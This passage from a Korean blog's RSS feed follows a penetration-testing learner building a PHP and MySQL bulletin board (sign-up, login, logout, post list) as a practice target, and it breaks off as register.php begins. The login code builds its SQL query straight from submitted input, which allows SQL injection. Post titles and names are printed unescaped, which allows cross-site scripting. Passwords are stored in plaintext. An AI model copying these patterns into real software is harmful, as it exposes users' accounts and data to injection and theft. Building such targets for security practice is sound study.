this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1129&quot; height=&quot;855&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;855&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a만 검색했는데 다 나오는 이유가 멀까&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0bEZU/dJMcabwnnTc/KzKnqvMMXWguIGIdUsNtJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0bEZU/dJMcabwnnTc/KzKnqvMMXWguIGIdUsNtJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0bEZU/dJMcabwnnTc/KzKnqvMMXWguIGIdUsNtJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0bEZU%2FdJMcabwnnTc%2FKzKnqvMMXWguIGIdUsNtJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1066&quot; height=&quot;429&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ㅠㅠ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인코딩도 다 했는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐가 문제인지 모르겠지만 자꾸 한글이 깨진당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특수문자도 깨지구,,.........................................&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지피티한테 물어보니까 mysql 버전 문제라고 다시 까는수밖에 없다고함;;;;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 이건 제쳐두고 다른거 먼저 해야겠당&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/10</guid>
      <comments>https://songtoy.tistory.com/10#entry10comment</comments>
      <pubDate>Mon, 16 Feb 2026 16:05:30 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 게시판 리스트</title>
      <link>https://songtoy.tistory.com/9</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;951&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FbAWP/dJMcahi6jVn/OeZMHjfwNQz3KpP0s4JyMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FbAWP/dJMcahi6jVn/OeZMHjfwNQz3KpP0s4JyMk/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FbAWP/dJMcahi6jVn/OeZMHjfwNQz3KpP0s4JyMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFbAWP%2FdJMcahi6jVn%2FOeZMHjfwNQz3KpP0s4JyMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1120&quot; height=&quot;951&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;951&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 테이블을 먼저 만들어야겠죵&lt;/p&gt;
&lt;pre id=&quot;code_1771223834581&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE board (
num INT AUTO_INCREMENT PRIMARY KEY,
title CHAR(150) NOT NULL,
content text NOT NULL,
day CHAR(20) NOT NULL,
count INT(11) NOT NULL,
name CHAR(20),
file_id VARCHAR(255),
notice tinyint(1) DEFAULT 0);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자료형이 CHAR이었다가 VARCHAR였다가 아주 제멋대로인 이유는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러개의 블로그를ㄹ 참조했기 때문인데요.....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;님들은 이렇게 하지마세요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저는 조회수도 보여지게 하고싶어서 count 컬럼하구&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 기능도 구현할거기때문에! file_id와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공지사항 기능도 넣고싶어서 notice 컬럼도 넣었답니당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 폼 만들어주기~~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ board.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771223925390&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
include 'lib.php'
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;게시판&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;?php
	if (isset($_SESSION['id'])) { ?&amp;gt;
	&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;board.php&quot; style=&quot;text-decoration:none&quot;&amp;gt;게시판&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;
	&amp;lt;table border=1&amp;gt;
		&amp;lt;thead&amp;gt;
			&amp;lt;tr&amp;gt;
				&amp;lt;th width=50&amp;gt;번호&amp;lt;/th&amp;gt;
				&amp;lt;th width=400&amp;gt;제목&amp;lt;/th&amp;gt;
				&amp;lt;th width=80&amp;gt;작성자&amp;lt;/th&amp;gt;
				&amp;lt;th width=100&amp;gt;작성일&amp;lt;/th&amp;gt;
				&amp;lt;th width=50&amp;gt;조회수&amp;lt;/th&amp;gt;
			&amp;lt;/tr&amp;gt;
		&amp;lt;/thead&amp;gt;
		&amp;lt;tbody&amp;gt;
			&amp;lt;?php
				$notice_sql = &quot;SELECT * FROM board WHERE notice = 1 ORDER BY num DESC LIMIT 3;&quot;;
				$sql = &quot;SELECT * FROM board WHERE notice = 0 ORDER BY num DESC;&quot;;
				$notice_result = mysqli_query($conn, $notice_sql);
				$result = mysqli_query($conn, $sql);
				
				while($row = mysqli_fetch_assoc($notice_result)) {					
					echo &quot;&amp;lt;tr style='background: #ffeeba;'&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['num'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&amp;lt;a href='view.php?num=&quot;.$row['num'].&quot;'&amp;gt;&quot;.$row['title'].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['name'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['day'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['count'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;/tr&amp;gt;&quot;;
				}
				while($row = mysqli_fetch_assoc($result)) {					
					echo &quot;&amp;lt;tr&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['num'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&amp;lt;a href='view.php?num=&quot;.$row['num'].&quot;'&amp;gt;&quot;.$row['title'].&quot;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['name'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['day'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;td&amp;gt;&quot;.$row['count'].&quot;&amp;lt;/td&amp;gt;&quot;;
					echo &quot;&amp;lt;/tr&amp;gt;&quot;;
				}
				
				mysqli_close($conn);
			?&amp;gt;
		&amp;lt;/tbody&amp;gt;
	&amp;lt;/table&amp;gt;
	&amp;lt;br&amp;gt;
	&amp;lt;form method=&quot;POST&quot; action=&quot;search.php&quot;&amp;gt;
	&amp;lt;select name=&quot;type&quot;&amp;gt;
		&amp;lt;option value=&quot;title&quot;&amp;gt;제목&amp;lt;/option&amp;gt;
		&amp;lt;option value=&quot;name&quot;&amp;gt;작성자&amp;lt;/option&amp;gt;
	&amp;lt;/select&amp;gt;
	&amp;lt;input type=&quot;text&quot; name=&quot;search&quot; style=&quot;width:570px&quot;&amp;gt;
	&amp;lt;input type=&quot;submit&quot; value=&quot;검색하기&quot;&amp;gt;
	&amp;lt;/form&amp;gt;
	&amp;lt;br&amp;gt;
	&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='write.php'&quot;&amp;gt;글 작성&amp;lt;/button&amp;gt;
	&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='index.php'&quot;&amp;gt;메인화면&amp;lt;/button&amp;gt;
	&amp;lt;?php } else {
		echo &quot;&amp;lt;script&amp;gt;alert('회원만 접근할 수 있는 게시판입니다'); window.location.href='index.php';&amp;lt;/script&amp;gt;&quot;;
	}
	?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 하지 않으면 (세션값으로 id 안넘어오면) 아예 게시판 접근도 못하게 막아버렸고요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 리스트 맨 위에 세 개는 항상 공지사항이 뜰 수 있게 만들었어용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공지사항인거 알아보기 쉽게 노랑색으로 하이라이트도 줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우하하&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/9</guid>
      <comments>https://songtoy.tistory.com/9#entry9comment</comments>
      <pubDate>Mon, 16 Feb 2026 15:48:57 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 로그인 &amp;amp; 로그아웃</title>
      <link>https://songtoy.tistory.com/8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입 창을 만들었으니 로그인 창을 구현해야겠쥬&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;550&quot; data-origin-height=&quot;426&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIpNun/dJMcacvjZSD/uOlPfv6mrM9FkKqV7nPLtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIpNun/dJMcacvjZSD/uOlPfv6mrM9FkKqV7nPLtK/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIpNun/dJMcacvjZSD/uOlPfv6mrM9FkKqV7nPLtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIpNun%2FdJMcacvjZSD%2FuOlPfv6mrM9FkKqV7nPLtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;426&quot; data-origin-width=&quot;550&quot; data-origin-height=&quot;426&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ login.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771223051398&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;로그인&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
	&amp;lt;form action=&quot;loginok.php&quot; method=&quot;POST&quot;&amp;gt;
	&amp;lt;p&amp;gt;ID &amp;lt;input type=&quot;text&quot; name=&quot;id&quot; placeholder=&quot;아이디를 입력해주세요&quot;&amp;gt;&amp;lt;/p&amp;gt;
	&amp;lt;p&amp;gt;PW &amp;lt;input type=&quot;password&quot; name=&quot;pw&quot; placeholder=&quot;비밀번호를 입력해주세요&quot;&amp;gt;&amp;lt;/p&amp;gt;
	&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;로그인&quot;&amp;gt;&amp;lt;/p&amp;gt;
	&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='register.php'&quot;&amp;gt;회원가입&amp;lt;/button&amp;gt;
	&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 폼은 간단하게,, 만들구 요걸 POST로 보내줍니당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ loginok.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771223105461&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;로그인&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
	&amp;lt;?php
		if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
			$id = $_POST['id'];
			$pw = $_POST['pw'];			
	
			$sql = &quot;SELECT * FROM user WHERE ID='$id' AND pass='$pw'&quot;;
			$result = mysqli_query($conn, $sql);

			if (mysqli_num_rows($result) == 1) {
				
				$row = mysqli_fetch_assoc($result);
				
				$_SESSION['id'] = $row['id'];
				$_SESSION['name'] = $row['name'];
				
				echo &quot;&amp;lt;script&amp;gt;window.location.href = 'index.php';&amp;lt;/script&amp;gt;&quot;;
			
			} elseif (mysqli_num_rows($result) == 0) {
				echo &quot;&amp;lt;script&amp;gt;alert('존재하지 않는 아이디거나 비밀번호 오류입니다'); history.back();&amp;lt;/script&amp;gt;&quot;;
			}}
	?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력한 id와 pw를 DB로 넘겨서 맞는지 검증하고~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맞다면 index 창으로 넘겨주는 코드 되시겠읍니다\&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6rjNf/dJMcafewE1T/Dr6WIQf4WYEkDlwwFy3Bt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6rjNf/dJMcafewE1T/Dr6WIQf4WYEkDlwwFy3Bt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6rjNf/dJMcafewE1T/Dr6WIQf4WYEkDlwwFy3Bt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6rjNf%2FdJMcafewE1T%2FDr6WIQf4WYEkDlwwFy3Bt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;499&quot; data-origin-width=&quot;949&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID나 PW 하나라도 틀리면 alert창이 뜨면서 로그인 실패&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 로그인이 되면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;354&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi8T1f/dJMb99ZFt7g/SREBZKUJ23qlwfQHk7cYjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi8T1f/dJMb99ZFt7g/SREBZKUJ23qlwfQHk7cYjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi8T1f/dJMb99ZFt7g/SREBZKUJ23qlwfQHk7cYjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi8T1f%2FdJMb99ZFt7g%2FSREBZKUJ23qlwfQHk7cYjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;354&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;354&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션값으로 받아온 user의 name이 뜨면서 환영인사를 해줍니당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ index.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771223400711&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	include 'lib.php';
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;메인화면&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
	&amp;lt;?php
	if (isset($_SESSION['id'])) {
		echo $_SESSION['name'].&quot;님 안녕하세요!&quot;;
		echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;
		echo &quot;&amp;lt;a href = 'board.php'&amp;gt;게시판 바로가기&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&quot;;
		echo &quot;&amp;lt;a href = 'logout.php'&amp;gt;로그아웃&amp;lt;/a&amp;gt;&quot;;
		exit;
		} else {
		echo &quot;로그인을 해주세요&amp;lt;a href='login.php'&amp;gt;로그인하러가기&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&quot;;
		echo &quot;처음이신가요?&amp;lt;a href='register.php'&amp;gt;회원가입하러가기&amp;lt;/a&amp;gt;&quot;;
	}
	?&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;358&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GGumS/dJMcac9QEPe/3L9VUKk71xpXp10hiUvC3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GGumS/dJMcac9QEPe/3L9VUKk71xpXp10hiUvC3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GGumS/dJMcac9QEPe/3L9VUKk71xpXp10hiUvC3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGGumS%2FdJMcac9QEPe%2F3L9VUKk71xpXp10hiUvC3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;358&quot; data-origin-width=&quot;561&quot; data-origin-height=&quot;358&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 안하고 바로 index창으로 접근하거나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그아웃하면 이 화면이 뜹니다요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 로그아웃은 어케하냐&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1051&quot; data-origin-height=&quot;430&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dO1uTJ/dJMcagqVqtx/nxP3tO43naG6SI9DnRa5Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dO1uTJ/dJMcagqVqtx/nxP3tO43naG6SI9DnRa5Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dO1uTJ/dJMcagqVqtx/nxP3tO43naG6SI9DnRa5Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdO1uTJ%2FdJMcagqVqtx%2FnxP3tO43naG6SI9DnRa5Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1051&quot; height=&quot;430&quot; data-origin-width=&quot;1051&quot; data-origin-height=&quot;430&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ logout.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771230986091&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
session_start();
session_destroy();
?&amp;gt;
&amp;lt;meta charset = &quot;UTF-8&quot;&amp;gt;;
&amp;lt;script&amp;gt;
alert(&quot;로그아웃 되었습니다&quot;);
location.replace('index.php');
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쏘 EZ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음은 게시판을 만들어보겠습니당&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/8</guid>
      <comments>https://songtoy.tistory.com/8#entry8comment</comments>
      <pubDate>Mon, 16 Feb 2026 15:32:17 +0900</pubDate>
    </item>
    <item>
      <title>PHP + MySQL 게시판 제작 - 회원가입</title>
      <link>https://songtoy.tistory.com/7</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;디자인은 전혀 신경쓰지 않은 게시판 만들기!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디자인보단 모의해킹을 하기 위한 게시판 '기능'만 만들고싶었기 때문에...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 눈에 들어오지 않는 건 이해해주세용&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;609&quot; data-origin-height=&quot;703&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vhSVK/dJMcaiI0Omd/zFvW5fkDdbI1lxGZuqJjz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vhSVK/dJMcaiI0Omd/zFvW5fkDdbI1lxGZuqJjz1/img.png&quot; data-alt=&quot;결과물&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vhSVK/dJMcaiI0Omd/zFvW5fkDdbI1lxGZuqJjz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvhSVK%2FdJMcaiI0Omd%2FzFvW5fkDdbI1lxGZuqJjz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;703&quot; data-origin-width=&quot;609&quot; data-origin-height=&quot;703&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과물&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 테이블을 먼저 만들어야하기때문에&lt;/p&gt;
&lt;pre id=&quot;code_1771222351809&quot; class=&quot;sql&quot; data-ke-language=&quot;sql&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE user (
name CHAR(20) NOT NULL,
ID CHAR(20) PRIMARY KEY,
pass CHAR(20) NOT NULL
);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL에서 테이블 먼저 생성해주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회원가입을 위한 폼 먼저 만들어줬당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ lib.php ] -&amp;gt; 자주 쓸거라 그냥 include 해주려고 따로 빼놨어용&lt;/p&gt;
&lt;pre id=&quot;code_1771222548374&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
	session_start();
	$conn = mysqli_connect('localhost', 'root', '@@@@', 'bbs') 
	or die(&quot;MySQL 연결 실패:&quot;.mysqli_connect_error());
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[ register.php ]&lt;/p&gt;
&lt;pre id=&quot;code_1771222521449&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
